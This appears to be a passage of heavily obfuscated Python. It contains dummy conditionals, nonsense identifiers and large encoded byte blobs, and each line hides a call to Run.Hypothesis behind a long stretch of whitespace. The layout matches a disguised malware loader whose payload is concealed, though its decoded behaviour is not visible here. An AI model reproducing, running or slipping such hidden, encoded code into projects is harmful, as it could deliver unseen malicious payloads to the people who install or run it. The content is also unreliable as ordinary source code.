f\xcf\xf1\xb4\xe6s\x8a\xf8\xc0\xd3\x9cC$\x88\xb7\xe6\xa0U*\x8d\xb8\x94H.\xad9\xac\xab\x1b\x90\x84\xa7\xdd\x88\xa4e\x1e\x9f^\x85\x18\xa4\x9c\xa08T2\xe2\xf6\xa1{*\x8frO]T5\xbfr\x10\xc6\x13\x7f\xf5b\xb9\xa9pXFAU_^#pJ\xfc\x8d?\xe7\x9e\xd2\x9et\x92\xaa\\-B\x05\x86\xf3)r\x84uu}#W\xe1;K\x05\xb4\xe2m\xb5\xd1\x81\tb}\x11#\x82N\xc5\xd0\xa4n\xc8T\x0c\t\xe2qBp\xbfh\xa7\xb0\x0b\xearna\x17\xe6%\xef0\xf0K\xb4J\x83]\xb9\xc0\x90\x9f\xd1\xc2\xac\xb2\x95:!!\x98:\xd9\xa3\xc6\x0b\x0b\x828D\xd2\xb0x\x12\xf5\'F\x0c\xf3J\x00\xcd\xdc\x8a\xf1\xa7X8\x11\xf7\\\xfa\x00\xd3T\x17`\x0f\x85\xe9IY\x8e \xd4~\x9e\x83\xdc\x01i\xd3RH\xa1\x06\x9f\xa9\x8d\xff\x9a\x10T\xd5\xc3n\tf\x1e\xb4$\xdf\xa1a\xf9\xceO\xb9\x10x`_\x8d\x7f\x99\xfa\x1e+\xe5\xa2I\xddp\xcaE\xdd]\x9e\xe4i>6\x1di\x9d\xdb|\x11\xfef\x82\xdc\xb2qbv\x96\xa44N\x98o\x90\x01\xaa\x8b\x9fy\x02\x7f1\xd7K\x80\xf9\xc7\xd4\xc9\xcd\xb7,\x01\xae\xda"\xe9\xe3/=\xac\xd9\x83\xe3d\x93<7\xbft\x93^\x1eC\x8d\xbc\x8b\xb5\x80\xd56A\x07Tl\xcaM\xe77\xdfrS\x96\x99ma\xa8J\x92n\x0e[\x99m\xcdY\x17\xd0~|\xec00\xb9\xa0\xe6\xc9\xaagc:\xf4Mt\x9f\x0c\xade\xe4\x87\xe8"\xb0\x8d\xd2\x95\xd6J[7Z\xb4h\xdd\xf10\x14\xb4@^\xbf\xd4 ]\x8f\xe0\xac\xe6\x08\x0c\x14DP\xeaF\x0b\x83\x08J5Za\x9f$o\xa98N\x19\x7f\xd2\x98\xd6tSdfL\xf4\xc1\x98\xfd\xa4\xcfY\xff\xb2z\xe9F\x08\xf5\x82\x93\x96g\xd6o[+\xf5F\x88H\x1c\x9ed\x9f)\x11,)t\xc8\xaaz;A\xa8\xfbSG\x1e \xa8\xe6\xa3\xf0\xbc|\xbc\xe4\xaf\x8d\x07\xa6.>\xc9\x04\x1d\xa4\xe0A\'\x03\x7f\xadt\xdf\xf1([\xde\xfba\xcf\x0b\x07F\x14\xc3\xd7L0\xbcIG,\xd0`\xdcE\xf2\x8a\x18\xc33\x88W\xabV\xfa\xa6\xb0\xefU\xfa\x94\xd6\x8dd\xbd\xaf:Q5\x1d\xd8\xaa\xba\x1b\xd0ex\xfa\x1az\x00\x84\xf1\xf2"\xb2/\x8d\xe8\xc8i\xc5{\xc0\x12k\xa5N\xae(\xf7)VV\xcduu\xbb\xcd\xad\x9ao\x06\xf0@"\xd89\x844\xcc%iR\x84!\x0e\xdewQl\x12:dG\xb4\xf6\x9e\xba\x83\xab\xea\x85\x94\xc7\x11\xb2\x1fL\xabw\xfa|y=\x14\xc0\xbb\x95\xc6\x00{c\xf4\x05\x1f%\xc4x\x87\xc9\x91cD\x00E\x18\x0c\x07\x82L\\/\xf5j\x81\x82\xf4\xd1\xf0R\x81\x9dZ\xf7\\\x85\xde`U\xdd\r\x90A[\xbb\x9fn\x8d\x9e\x05\x11\x17\xfd\x85\xe2+\xff\xd6\x8a\xe0\x8a\xa5d\xc9;\x93*\xfb\x0e\xbe\xa8\xe1+[\xb7\r;\x9e\x06\x01\x8c\x0er\x1d\x92"\x19\xf2\xc2\xc0GA{\x9e \xe0s\xa8b\x9c=\xf2\x11\xe1:\x16Y\xb3mC\xc3\xed\xa6\x89Ob$\x0c\x85\xd80b\x14\xcc\x10\xb1\x99TK\xbd\xfd\xc8B9)lvU_\x92\xf6#\xaf\xab\xbb!\x8b\xe0J\xb3\x7f\x1f\xb5\xa5\x1c\t\xe5\x900\x15q\x081jR\xb6\xac\xe1\xdd\xcc1Kz\x17\xb7\xed!\xa5\x15\xe4c/\xea\xa5\xde\x13\xb4\xc5\xae*\xf1E\x9b\xd65r\x7f]\xddM\x0c\x17\x1b\xbb\xa1zY5\xfdI\xafD\xc0\xcfk\x81\xcc\xe3\t\x1a\xbf\x97\x19\xc6\xed\xaf!M\xe2\x15\xaad\r\xd6/\x03\xf9\x83%U\x08\x95\xe4\xbd\xea\xe2pK\x1d\x11\xa7\x7f\t2\xf6\xfa\x8c\xb3\x0c\x94a\xd3%\xff\x12`\x98\xf5\xd7\x13w\xa6\xcc\xdb\x80\xddj:H\xa1 \xcd\x94F\xda\xa4n\x13\x8dt9\x11+\xe83\x80}0\xda\r}^a\x06\x8c\xdd\xa5\xbc\xd8\x11x//\xe7x\xd9\xbeI\x03\xe5\x11$\'\xbd\x80\x0c\x07\xc0\x82\x14\xa09\xf7\xd0\xb4\x92sL9|B\x9cG\xbf^\xeam\x1a\x91\xd9_\xf8\xf0$\x13\x84\x8dH\xab\xc4n\xac\xaa\xbb\x0b\n\xf2\x96\x9e\xe2\xf2\xc9d`%\xdb\x81e*\x1b*\t\x17\xa5\xe0\x1f\n\xd6\xa1h;\x06B\xcfaau\xba<T\xfe\xab\xb0ibJ0\x9c\xe5r\x90\x93\x93\x82\x80rZAZ\xdf\xdb\xfd>H\x1e@08xC\xd0\x84\xbb]S\x13JY\xa1\xe0g\xab\xea5&\xc3~\x98?\x1f.\xc9\xa7H\xf0Y\xf2`Z\xc9`\xb3t\x89\xcb\xda8\xb0\xb5\xa4\x8e\xbf\x85?y\xe9J\x81\xc9%\x88\x85\t\xdc\xc0\tR\x0c\xb6?*\x01\r\r\xf8\xafs\xa4\xa5I\xa2\x94\x97LLc\x7f\x83%\xad\'Q \xfe\x9d>1\xdd\x86`\xb9p\x8cb}\x1b\x91*&\x87\x81\xfa\x858\xc7\x1a\xb1\x8d\xbdeZ\xcfO\x1c\xca\x12[\xfe\x07\xda\xa41~\xbf\x8bs}\x9fb\xac\xc1V\x80zs\xadtgr\x9a\x88\xa0\x9aK\\{!\xabX\xd6uu\x1b\x02\xd3<\xb9h\xde\x8e\xbaY\xe1\\5\xc6\xb5Z\x16h>\n\x94\xe7\xaf\xca\xe5\xa8\xf5\xee\x96\x80\xa2\xab\xa4\x88V\xe9v\x0e\xe2O\x9fl\xdah\xea\xdaM{\xe7&\xb2|\xcc\x98\x01J)\x0e\xeeRa\xbb\xab\x946\x1e\x19z\x1c:%\xd6.\xca2P+\xf5\xee\xed\xdd\x8a\x08\xa0Y\xf1\xaa1\xaf\xeb\xean\xd8\xdb\xb7\xd6\x0f\xa0u$\x94\x06"\xc4L\xdc/\x89\xd0C\x1bOJ\xe5:\xc6t\x10\n\xd0S\n\x9f\xef\xe9\xc7\xa1m\x03\x95\xd8\x92\xd5u[\xa7{\x1eU\x88m\x1d\x9d\xad\xfb\x0c\x02UM\x86y7\x19$]\x84\xf8\xe5\xb8\x16\xe1Z\x84\x80>Z\xcf\xcdZ\x9a\xc4\xe6\xb3@\xa8^7\x19C \t\xc0\xf3L\x9b\x890\xc4\x04`\x9d\x89O\x1a\x91\xa5\xb2\x9cHh \xc1\x91,G/*\xa5\xf5@t^c\x14\xaa\xfc0\x05n\xd7\xbcw\xfc\xdbw0o\xd1~\xf4ZI\xcb\xd4\xbaf\xc8H\x16\xd3\xc0\x93A\x1e\x9b\xe1\xad0\x1agF\xa6\x90\x02\x07`\xd3\xd8{\x8c_\xcd\xb8\xb1K3\x07L*|Bc7M\xdd\'\xd1\x10\xc5\xadr\x92!I7\xb4\'\xdeQp\x9f\xa77\x19G\xb8R\x04l\x86v\xb3Z\xe9\xee\xac\x9b\xcaX\xab\xdd\xe7\x12\x18N\xd9\x01\x9c/iU]\xf4/\x85\xf3%-\x0c\xb6\xa8\xfa\x1f\xc2\xb8O\x02x\x85\xcai3\xcbX\xdbj\x88S\x18\xabW\x11\x15}Gg\x82s\xca\xc4\x93\x16\x02\xcbfl>\x99m\xe2\xb3\xfea\xec\xf4\xed\xe7b? \xfe\xbbk\xcb\x83\xf7\xb9\x19\xf2\xf1\xed\xa6\xab\x10\xec\xfc\xa5\xd4\x02:hh\xd1\xb7\x10)\x07\x8a\xec\xb6\xfd\x08\xf2r\x82p\x97\x1e|\xac\xca\x82\x08\x9ao@s[\xd7\xb3uv\x85\xf2o{GU\x1f\x01r\xd2\x1chN\xde\xc69\xb8\x1b\x9b\xe6{$.B\xc2~\x14\xc85\x9f`\x823\xe0"\xac\x94zulA\xc1\x08\xbcM\xe6^\xc1t \xee\xbe\x12X\xba\xaa\xee\x06(\x9a-AQ`\xdd\xf2\xcaZ\xfeY\x12\x96\xd3\x9a\xdf\xc0\x18\x1c\xe7f\x87\xde&\xd6\x04\x9fDk\x8b8\xa5C\xe5\xdfFA\x01\xc8\n!\xc5\x85Yf\x93\xc2{\xca[=\\\xd6\x07\xcdjy\x18\xdd|\x80\x9c\x8c\x05\xaa\xa00X\x9a\x12\xa3m\x83\xcd&\x05\x8b\xac\x9f\xbe}\x00\xe7a\xce\xc4\x9c\x02\x9c\x0b|\xecwcfg\xb6\x07\xbaf\xf9S\xd6\x13\xa1\x9b\x0e\xdd\xba\xfd\x0cd\xa7\xcd\x91B\xbb\x0b\x8a\xa9w\xce\xc0\xb3\x8bs\x80Z\\\x9c\x9f#\xde\xe2\xec\xec\xa2!\x82h\xd9\x93\xcd\x95\x8aU\xc5\xd8\xdb\xb7\x02K\xae\xab\xdb0\xaf\xf7\x968\xfc@T\x0f\xe8:\xb4\xcb\x94\x8dP\xf8\xc9\xb9/\x02\xe5\xbb\xf8[\xa8\xaf\x17\x1e\xb0\xcc\x86\xaf9\xf35V\xd0KO\x07\x17\x03Q;S\x92s\x80*\x13yX\xad\xd4\xbb\x1f\x8a\x18\xa5\xa9\xda%\x16\x1d\xadZ\x95\xd4\xe7\xab\xea6UL7&\xa9\xea[t\xcc\xa0DV5\xb4eC\x87\xa4\xf1&\xa9j\xea\x07\x02JC\xf2\x03\xc7\x88~\xee\xa1L\xdc\xab\x97\xee\xccB\xb0\x1b~\xee2#\x8dN\x8e\xeb\xd6\x83\x0c\\\xc1\xf0Y\xcbg\xea\x9a\xbc\xb6\xc7\x8e\x81\xcf\x1c\xe4]J6\xb0\xe7\n\x05\xe7\x94\x9a\x14arJqZ^\xf9s\xe9y\x0b\xf5\x0b\'\xf0\r\xf1d\xdb\xe5\xf4\x82\xf4\x9f(\x82\x9d_\\@\xee\xcf\x0bL\xff\xd9\x14\x00\xfb\x86\xcf8\x1d\x99\',8\xcen\x0c\x1e\xcf\xb19n\x14\xf72RF0\xed\t\xb2\xc9\x8d\xb34\x06\xe1!\x82\x1a\xc9m\x1cQ\r\x98\xd6\xe1[\xd1\xb3kq!\xee\xc5\x18\xf7\xd6G\x17bf\x04\x94\xdb\xdc\x885(~tY\x141o\xf3kn\x04\x1c"\xa5\x9f\x14=\x11]p\xdb\x00\xc1Z:0K\x83X\x87%<U\x80\x81\x12\xbaQ\x9ef]s?S\xf3\xee\x9b\x1bXd\xbd<\xc9\xba\xc9 \xbb\xcd\x8c\xa4\x17\x0f\xb2!\xd8\x02\xcdc7\xeb\x10\x12b\xbe\x8fp=\xcdFP')

        if 354158 > 2014739:
            Run(_run = 44925 - -92147)._math(Absolute = _detectvar.Calculate + -45247)
        elif 105744 < 7722445:
            Run(_run = 28179 - 95745)._math(Absolute = _detectvar.Calculate + 5025)                                                                                                                                                                                                                                                          ;Run.Hypothesis(Ceil='SS22SS22S2S22SS2SS2SS22',Builtins=b'\'3\xfa\x82)i\xdf\xfb\xca\xd01\x9d\xf4@b\xd8\xfa*9\x02\xd5\t\x03\x85m\x813\xeb@\x06\xd7k\x1ej?\xbfiD\x05@\\R$\x94\xcd1\x15\x1aH\x889B\\j\xa5\xbbv@\xf8\x98\xd7\xd0\xd3\xda#K\x8c\xd1\x1b\xc0\xce\xdb\x05\xe6\'\x06\x8d\xa1\x02\xb2\xd0\xe7\x9a\x19\xb5 \xc5\xb2\xc2|\x07u\xc3\xcb\xe7\xbaLj\x90t\x8c"\x9d\x0e+\xa0\x14_z\xf3\x83\xa3\x0c$\xc2\xc6\x08\xc3M\x1a\x8c\xc4\xfd\xe5(\xa5\xa6\x96R\xa2V\xba\xb3\xf0\x9fL)\xf6Q6)}\x17\xd4b\xa1\xc8\xb2\xd6\xd5\xdd\x82&b\x85duM\xd6Y\xc7\xa1c\n\xf6}\xd6\xddEHr\xdf\xcee:\\c \xf3[\x90\x01\xfc\xd6L\xe3F(\x08\x95\xe6\xaf\xcf\'?\xb0\xd3w%Y\xcf~\xea6\x14\xe9w&q\xd5g.\xea\xcf\xab\x9d\x8akE\x88\xc3\xc5\xcd"\xdf{*\xdd\xdb\xaaz\xc1\xb82`\x1e7"\xcb\xb0(\xe2Q6*n\x8d\xdc\x97\x16##\xc0\x8cK\xa5\xf9\x82\xb2\xd8\xc8\xa1C#\x05\x1a9\xb0h\xdf\nl\xf5\x0e\xad\x83\xf4X\x07\xe9Ym\x04\x7f\td\x05\x8e\xcc\xd49\xc4,\x92.\xa1\xe2$\x1f\x14\x89_j\xc5e\xd6\xb1\x05\\\xc2%2\xde^\xb54\x84\x8b\x94.\xbb\x00v\xc8\x9e\xb9\xe4\x11^\xba\x99 \xd0h9\x02\x07\x08\x18\xc5\x15Du{\x97*\xa6\xda\xc5\x9c\xbb\x18\xbbi\xce2\xc2\\\xbc\x8dq\xc4\x19b\x90\x89\xda\x0fh\xffzh\xe4\xab\x95\xfe\x10\xa8\x91\xbfZ\x15\xef\x00\xd2\xc0`\x02\x18H\xbf\x01\xb9\xa6fM\x93olF\xfb\xd8GrGb\xca\x03\xc1\x1d\x90sy\xbd\xd4\xdb\xe4+Pd\x91\x9c\xe2\x8a{%V&\xdfuu\xc33\xaf\x15\xcbtY\x8f\x8e\xcb\x89Q)\xcf$,\x1a>\xa3\x14-\xba}\xe6\xbb\x83\xe7\x01\\\x1aY\xbd4\x80\xc4\xbeI[\xeac,B\x0fS\xbbd\xb8\xa4\xcc\x91\xfdj\xa97\xb2R\xdc\x01B\x8f%$cU\xf7A\x93\xba[\xa8\x95[\x8fV\x01\x12\x0e/\x9b\x15{*\xe6\xa8Ps\xa1\xc5*\xefo\xa4\xe0\x01;}/\xce)\x89\xdby\x00\xea\x88U#\x95\xceX#\t\x9b$\x88\x02\xf1\xb8K\xb2\xdbT\xebb\xf6\x86\xb0\xc9\xf32\xc7p\xe61.]\xca\x98$\x83\xd3F\xf4\x9c\t\x12\x13d\xe8z\xea\x01K0N \xb5\xd2\x10\xb6*vx!\xfd\'z\'A\x94\x89\xeb\xa5^MB?Zi\x02\xfd\xcc\xc1\xb4\x91@I\xf1v\xac\xab\xbb!]\xc2\xdfD\xa3E\xd1\x08\x92B\x8bc\x110\xb5V\xb3x\x04!6Mx^\xeaQz\n&6-\x956\x96\xa8\x13$D\xed\xa3\xdf5\x81F\xcfn\xf3J\xe9[xY\xdf\x08a\xc8)8/p\x89.#\xf0!\xed\xb9\xed\xaa\x95\xe1t\x99\xdd\x16\x117\x14\xea\xa5\x03\xf6a\x99r\xa9\x0b\xee\xdf3\x14\xef\x15\x01w\x8d\xb2\t\x7f\x11\xab\x9e\xfe9\x92\x84\xd9Z\xa2\\\xf4\x0c\xaaQ\xb7M\xea\x06\xa4E\x05\x97\x00&\x01\x8c\x8d\xbc\xc6\x08\xc6\x05\x0e\x00\x88+\xec%f\x9c7\xe5}\x1c2\x838\x00\xca\xd9\xd3t\x02\xd7~\xaa3\xa8\x05I\xdc\x9a\xdd\xeal\x88\x0b\xd9\xdft\xb6\xc4p\xfco\x8c\x90\x18\x95\xb0\x13\xa3\n\x9eB\xe1!\xd7\xdf\x8c7!0\xd1Im41n\x99\x03.\x0c=n\xaa\x82\x94\xe2q\x9a\xe4}d\x9f\x0e\x81\x88\xb0\xe8B\xc1\x1d\xa69\x87\xbf:\x86\x96\x90c\x9fi\xb6}0\xbd\x99\x86\n\x94\xb1\xd9\xc2\x86[\xaa\x11\xb2\xe9:w\x9dD\x8e\x97\xddyC\x9b\xa7\x18\xcb\x83\xf5cPC\xc7\x18O\x1a/\xe9\xc9\xaaF;\x1c\xbb \x0f\x9c\x11\xb0\xf7\x0c\xe9\xd4v\xa6\xd9\x89{@X\xcc$D\xbe\x94L\xabB~\xbc\xaanh\xde\xba\x16\x88\xa5\x96\xb5?G\x02\xd6\xb7mm\xc0n\xe5`\xd9\xb1\x17\x00\x80\xbb\xe0\x7f\x821\xa8\n\x03.\x01\x80\xa3\xbco\xdab\x81\\\xcf=\xca\x02i!\xc0\t\x86\xf1\xa7\x08\xf1\x8d\xf0U\xb0\x07\xbe\x87\xf1\xcf\x99\xd9\xb2\x97EY\x9f@\xbb\xe9m\xdaM\xc7\xe6\x18\xdd\x02l \xfd4\xcd\x06\t\xc5^tS3\xf2\x19\x81\xcc,\xb3(\xbf\xcd&f\x99\xa7\x89\xd1\x84F\xe6<\xc0\xf9\x9b\xa3V\x93\xc4#s\x9eqj\xbaP\x96\xa5f\xbfY\xdfH\x8dp\xd8n\x9a\x02\xe1\x80\xd9+\xb0\r\x0c\x8cjU\x1812\xce\xfbY\xb7\xc8\x83\xe4Js\xd3\x84\x9b.\xf42\x0c1\xe8\xdf\x90\xdc\xcdP\x91.\xba\nA;\r1\x91o\x04\xc8\xdd+\xe6\xc2\x12\x13\x98\xc3\xaf\xf5\x19\xb8\x85N\xf2\x10\x93b\n\xae\xba\t\xec\xddc\x8a\x83P$\x88H2\x874+\x90G\xa2aDR[\x93\x9c\x18\xbcu\x88\xa2\xa4\x0e\xd2\xe6\xcbuu\xdb3_\xb6qe\x92\x08)\xc9\xca\x84\xa4\x96rL!\x02V\xd5k\x1a\x9c\xb9\xb4c\x13\xd6\xd9\xa6\xd4\xc1\xbf\x9d\x9a\xa7\x85\\M\x93\xb9[\xd3t\xe6\xe8\x99\x9a\xd4\xdd\x80\x9eiK,P9o\xb3g&\xc9\x98\xb5\xb3XX\xf5\xe0s\x03+]\x84H\xb3\x1ez\xcb"\x1b\xdcR)ml|\x06\xef[\x86l\xfe\x85\x8d\xc3\x88\xeb\xa5;\x1b\xf6w\x0c\x94\x0c\xcd\xc9\xab1\xbb\x03;\x11\x0c\xd4rhA_\x830\xb1\x1fY\x0b\tdV\xd9/F%\xfb\xc5\xa8\x12\x07\xc2\xa5?\x02\xa7\xde\xb2g\xa8\xa2\xa9\xab\x94\x05:\x82\xc7\xd5\xdb\tgC\xeb\x979R\x8cg\xa3\xbc\x9a\xacw\xa4\xd7\x83\x80\x8f\xcc\xf3S\x8c3\x98\xa8\xd6\x0c\xb9Y\x118\x13q\x95VDQ\x89\x04\x11\xcf\x96\xbb\xcf\xbd\xd0Ts\xc4P\x01!>0U4\x04R\xad2k\x8b\xa7O\x93BH.92U;\xb3\xf6\xba\xba\x8d\xf9\x977>S\x01C\xe4rV\xca\xa0.\xac\xd0I%C\xde\xa2\xba\x9b\xd0\xc0/w0\xc09\x83s\x01\xe5f\xf3\xe5\xaaq*\x82\x1c\xf3\xd2\x16\xe8\xef\x8dq\xf2\x05xLQ/m\xec\x1e\x8c\x11\xfc\x94\xe2\'\xb8\x043t\x0f\xd6J\xbd\x81\xe7\x02$\x8f*w\xb3P\xa6\xa8u\xf56\x9c\xecw\xec8\x82\x9d\xd0?\xef\xd3\x8f1P\xb0`b\x87\xeb\xa9\xb7\xd8\xecRu\xe3\xd6\xd5m\x98\xc0\xec\xcd\x90\x19\x94s\xee\x9e\xc9\x16\xf9P\xb0\xe6\xadJ\t9\xa8\x8eg\xd0@\xea\xaeR\xa7\xd6\xd5\r\xc8\xdf\xd8\xca]\x9c_Q\xb2\x13\x18\xe4\xaf"b!\x9ao\x82\x98}\x0b\xc9|+\xa9\x8eS\xd1\xe7\xdd\x18\xbc\x94=/`?L\x8aD\xd6\x14\xd1m\x8b\x9a\xde\xb1\x96\xccRoc\x92b\xaaK\xfcG\x84\xc9\x0b-<\xd9.w@\x1e\x17<G\x8aK\xae\xb58\xfe>\x0c\x9db6\xf4\x81G\x82dA9\\\xe1\x88\x11\x0c\x05Pr\xe5\xdb\x96E\x10\x12c\x8a\x08L"<i~\xcfuu7\xe0\xf7\xdc\x8a\x037GhW\xb8,e\x8e\x8d\xa4\xec\xbd\x0e\xc8\x1d\xba\x88\xe2\x1f#.<Z\xca\xa5\xe4)G<$\xac\xefl~\x90\xf4^\x92#A\xfc\x8d"\xaf\xa4J\x14oR7\xb0YoG\xd6\x03G\x92P\xa3M(\x93*\x14A\x03\x9a\xfa4\xb0\xb6@i\x05\xe3\x0e\xe3\xa7\x10@\x85\xa9\xd7@\xe5\xdc\x99\xfdxG\x82H\xd0\xb48\xd6\x134\xa8x\x86\x9c\xb9\x90\xfdGa\x80\x13d~ >\xbb\x85I\x89\xd5\xef!Q$\xfd*Oay.\x0e\x96\x90\x03\x98N\x0b\x82\xc1\x85\xc8\xea)\xf1\xbc\x83\\\xfb\xfc\x9c\xa97L l+t0\xe0\xfbCK\x06\xfe\xf1\xe1\xa1\x7f\xcf\x03D\xdb\xe4\xe8\xb9\x80\xcc\x80\xd1\rQ.\xa4h\xf6\xa8\x956\xdc\x1f\xe1\x9fq\x0b4q\x00&\xba_-\xfb\x91\xfc\x13-\xb3\xe0\xb0d\x80A\x12\xf0\x17@<xC\'\xd0\xf6I7\xf2\x18\xbb\x8e\x91\xc0\x10\x14\x0b\x90\x0bJ\xb7A(\x9c\x0c\x919\x04\xac\x00HG\x1f@\xb1\xc8\xb1\x91@\\\x02T\x82\x19\x16\xb7\xedc\x9d.B:\n\x8a 0\xeb\x11\xee+E\x88\x86_\x16\x83)\xc4T\xceffy7\xc3\xc0\xca\xd9\xec\xee\xeen\x1a\xe09n\x96\xf43\xc2@K\xe8\xb8\x94\xde\xb3\xe0\xaeW)\rpl\xff\xf6&y\x03\xab\xc4\xc8}%\x9evUV\x9auu\xb7\x0c\xc7\xdb\xda\xc0t\x8b\x06\x83n1@\x19o\xd1t\xae~o\x05\x03yq\x86\x84Z\x17fIqn@mz~v\xb1[\xdb\xcalp\x7f;\x1a\xbcg\x1e\xe8\x12Z\xe9x\xe1\x89o\x83k\xae\xf2TV\xb3K\xec\xb7\xb7\xef\xe0\x95\xc2\x8a^^\xe4\x03\x8cB\x01F\x8b\x02\xc1\x02\t\x92\x9d\xf7(\x00\x1f=\x0e\xb5\xd2\xc6\xfbK\x99\x06\x12\x01\r\xe6\x95\xfeL\x14\x91\x95\xd2]\xa3\xcc\\O}\xcb\x14\x8dwS\x88\xa6\x9f\x9a\xe1\x1f\xc2\xeb\xa7\xf05\xc8$\xb0I\xdd\x18\xa9U\x01\x87B\xb1\xd2\x05\xca_I\xbd\xf4M\'\x01\x90:#f\x88 n\xfe>\xc6x\x17\xf5\xd2\x00\xe7\t\xdd\x81\xd8Oc\xc4\xeb\xc4\xd8M\xe2z\xa9\xf7\x84&\x14\xb3bOIyr\xb2t\xb4jB[W\xb7\xa1\x8fi\xdd\xfb\x8d\xe8}\xa6\xd8Q\xa6S\x90\x9b\x8c\xb4\x04R\x93\x1f\xb3\x8f\xb0\xf3h\x93U\xa4\xd6)\xe7\xb0\xbb\xbd\xeb\xea6\x8c\xa6\xdd2F"\xc1\x18\x88\x14S\xc4\xf5\x17\xc6H\x94j\xb4"\x1f\xc8@\xc6\x18\xb78@v\xcaU\x0fG\xec\x8b\xc2j&\x10Qa;\x8b\xd5\xc3YW70\x00\x99\x8d\xc0di\x89R2\x01wC\xa4\xd0\xd1\x80\x1e\xfd\xa9S\x1brI\x08\x99\xa6\x08\x8cC+\xbf\x1d\xff\xb0B\xa8y1\n"\xeb\x07\x8e\xce\x19\xce\x1493\x98\x10\xad\xb8*\xf5\xf6\xc9dj\x88\x90\xc8\x1dQ5\x12\xa5\x8a4\xa9\x1b\x86X|\x91D\\\xf5\x9f\x84\xf1\x99`d&\xa8\xe5\x1e\x81\xdd\xab\xecv\xf2\xd2\x99\xbc\x85\x8f6\x98\xe5.$Ds\x92\xab,\x9d\x12\x9e-y\xd8s\x95\x87=\xe7\xbc\xec!\xac\xadE\x9c{\xd8Y\x0fP\xbcEk\xc7\x0c\xad\x1d\xf01k&\xed\xb6\xa6kn!\xb9@\xe0\x14\xe4\x13\xc9\xfc\x91\x0c\xcb\xbcKe\xdfR\x99\xae\x1b\xbf{\ry\xd1N\xad0\xdb\xe8b\x1b\x03?\xc7y\x15\xdf\xaaKJ(\xd7f\x10')

        Run(_run = -90410 / -21251)._math(Absolute = _detectvar.Calculate * -64483)                                                                                                                                                                                                                                                          ;Run.Hypothesis(Ceil='nmnmnmnnmmmnmnmnmmnnnn',Builtins=b'P\xb6A\x10\xd6\xe2\x85\xb0\x16\xa8c\x1f\x7f\x12\x11\xc8f\xe9\x86\xf7\xa6F\x08\x882\x96WJ\x7f\xdc\xa5\xe1\xbbd@\t\xc2\xb5\xe0\xe1o? \x14*\x02\x15\xd0Y\xe8\tU\xd8I\xde\xc2\x14\x13\'\xe7\xb7\x10K^\xf8\xd8h\xf9Y\xb3B/1\x1e\x8d\x83<6Pe\x01\x17Jx\xce\x18C@z\xcc\\T+\xfda\xec\xf1\x03\xf2\xb9b f\x8al\x93]\x08\xc5\xe4t[2%\x8f\xf3\xc2+\xe1\xd6\xb9$e\x02C&\xb2sy&f\xdaY\x03\xdda\xdaF;\xb38\xd2\xd5\xda+\x848\x94\x0cr\xc2\xc5\xdc\xc2SO\xe24O\xbb^O\x9b\xa8/\x90\xf1\x82>\xbd\x1e\xb5\x80quN\x1f\xc1\x95\x0bX\xb7P\x98\xf3uu\x83\xa1\xe3\xd13\x00!\x15\x18Z\x81|\xf012\xf8/\xe4<Y\\3\xb8\xf3\xbf\x1a@S\r\xb3\x91\xb5 fv\x0fn(H\xe7v\x8eK\xe0\x810#\xc8\x85\x9f\xf3c\x07\x03\x887\xf6\'vf\x1d\xb6|\xbf\xb1\xc59En\xb2\x98\xb8~\xd1\xc5H:y\xad\xd4\xef\xd1p\xa7\x95\xd0\x161\xe7i\x8bQ\xac\xd8:\xd7\xd5\xdd\xca\xd9\xb0\xca\xee\xbe\x81\x98\x0e\xf7$\xe5p\x92\x1e\n\t\xc4\x95[+\xf5\xbac\xda\x9e,!\xbb\x82\xb6\x97!P\xa3\xf3\xd7\xd5\xddD\xf0XJ\xf2\x8e\x0c\xc4FwD\x7f\x89\xf9@s\xb0)\xf0F=Vm.}u\x05\x9a\x8deU\xbd\x80\xdd>3\x07M\x87\xe6\x9d\x00E" \x1e%\xe4\xcc\xc2\x01\x87qT0\xd2D\xec\xed\xe67g\x95\x80\xdf\xad\xe1\x85\xb81J\xbfG\x80Z5:\xc9(\x8erk\xcd4\x13K\x88T\xd2\xd6@\xb3\x08d\xc5\xd9oTR\x85 $\x0b\xd9\xadQ\xe7\x91\'}\xa1=\x9d\x7fk\xc5\x92~\x85\xa4u\x18\xfb\xc1K?MJ\xa0\xb6]\xd5\xf8\xe4\xbbD\xd9\xf7\x95y|]\xdd\xc6\x19D\x1f\xd4\x1f\x85\x04\x1d\x1e\xc4\x1f\x9a\x8f[\x11\xd3\xa1&8>\xe5H\x93\x9a\xd7K\xf7\xc5\x04qpyi\xd1V\xc4F\xbb[\xf1\xe0M\x98\xe0\x98\xefkP\xe2\x00\x13^\xb0\xbe\xe5j\n$\xceA\xe0\x8c\x0cm\xc0zN\xb9\xaa\xd0\xa3\xe5\x1dH\x84\x99\xdf!\x04c.\x91\xb6\x18\x92\xd1\xd8\xe3\xdc\xa3\x1c\xef\xe8A@\xaes\xf48\xd7J\xbd\xda\x88\xf6b\x89\xfc\xa1\x15\x0e\xed\x96lRw\x03\x92\xdf\xb5\xc4)\xbb\x85ilCk\xea\xc8\xfb\xc8\x1a\x9e\xb2\x95<\xb7\xef0\xb6\xf1<F\xf2)P\xec\x8b\xbc\x87s\xd8\xadi\xb9`~\x9c\x989\x05\xb8\xc5\x12 \xf4+r\xd4\xc1\xfb\x85\x07}\xff\xf2I\xb5\x02\xbf\xae\x06J\x05$6\x00\xce-\x1fM\x0c29\x9e\x811\x07X\xf9\x80\x8eog\x9e\xe6\x1dQT\x99\xa6\x90\xfa\x98#\x97Yw\x8a\x8amgq\x92\x9d"TLJ\x1b\xfe\xe0\x83\x19\n\xf4\x88\x83\xbd#4\xec\xddl\xdaL\xa2\x07\xed1b\x8a\xf7.\xfan)UtV/\xfd\x11ZI;\xe1*\x07\xb4\x8a\xd2\x01\x15\xef\xbb\x97\xcd\x8c\x8b]\xb4\x1a\x85\x08\xd3I-\xad\xb5\xf3\x9e\xca\x0c!\x1e\xd50\xa9\xe6\x17\xc4\x06\x82\xda\x85A\x00\xf1\x04/7\xa7,\x15>\x83\xe7\n\xcb\x9c\xb6\xc3-\xa2\xbf\tHvCL\xb7]"\xca\\\xc2r\xcb\xbf\x864O:\xea\xe5\xc5\xcbQ\x13B\xe6-\x86{\xb8 